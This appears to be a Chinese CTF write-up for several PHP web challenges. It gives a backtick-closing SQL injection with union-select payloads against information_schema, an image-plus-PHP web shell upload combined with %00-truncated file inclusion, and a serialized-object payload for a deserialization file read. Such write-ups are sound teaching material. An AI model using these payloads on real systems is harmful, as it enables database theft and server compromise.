sqlite
记录一下一道注入题,源码如下
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
Filter是用户自定义的过滤函数,desc是sql语句,能降序输出信息
回到代码,如果table为空,则默认table=test,返回
table随便输个数=123
代码中的sql语句就是这样:
desc `secret_test`
desc `secret_123`
就会显示secret_test表的信息,而当table=123,表变成secret_123,返回hello hack,那么显然就说明mysql中没有这个表,所以就调用了hack()这个函数
反引号是为了区别mysql中的保留字符与普通字符而引入的符号,例如单引号和双引号,例如
SELECT `passwd` FROM `user` WHERE username=''
我们要做的就是闭合反引号,而根据上面的回显,得出table的值应该先=test,然后再想办法进行注入
payload:table=test `` union select database() limit 1,1
在php中就是:
select 'flag{xxx}' from secret_test `` union select database() limit 1,1"
闭合了反引号,执行了sql语句
这里还要注意一下代码中的最后一行:所以注入语句最后需要加limit 1,1
echo $ret[0];
获取表
?table=test` `union select table_name from information_schema.tables where table_schema=database() limit 1,1
获取列
test` `union select group_concat(column_name) from information_schema.columns where table_schema=database() limit 1,1
flag
test` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1
Easy Gallery
首先来到一个上传页面
使用burp抓包,弹窗
那么先试试上传jpg
发现response里显示了文件的内容为:text/html,跟我们伪造的image/jpeg无关,这应该就是检测了文件的内容,那么就尝试上传图片马,在cmd里输入命令
copy 1.jpg/b + 1.php/a 2.jpg
为什么要用cmd命令生成图片马呢,因为之前尝试直接在图片后面添加一句话,然后上传,response会显示
他把整个文件当成了二进制流数据,所以我们要使用cmd命令把两个文件结合起来
上传成功后,到view页面
提交,得到图片路径。仔细观察一下两个页面的url
不难猜测page就是我们要包含的点,输入相应路径
看到了我们的图片后面被加了一个.php,想到了%00截断
in a mess
给一个常用的php函数漏洞绕过总结:传送门
神盾局的秘密
首页是一张图片,查看源码有个链接
跟过去,发现是一堆二进制文件
而且发现url里img的参数是base64编码,解出来是shield.jpg,访问,not found了,看来这里输出的不是图片,而是他的代码,那么我们也可以尝试访问index.php的base64编码,果然得到了源码
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
发现还有一个shield.php,也尝试读一下
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
有源码就很简单了,构造
$a = new Shield('pctf.php');
echo serialize($a);
//得到O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
把得到的值传过去就ok了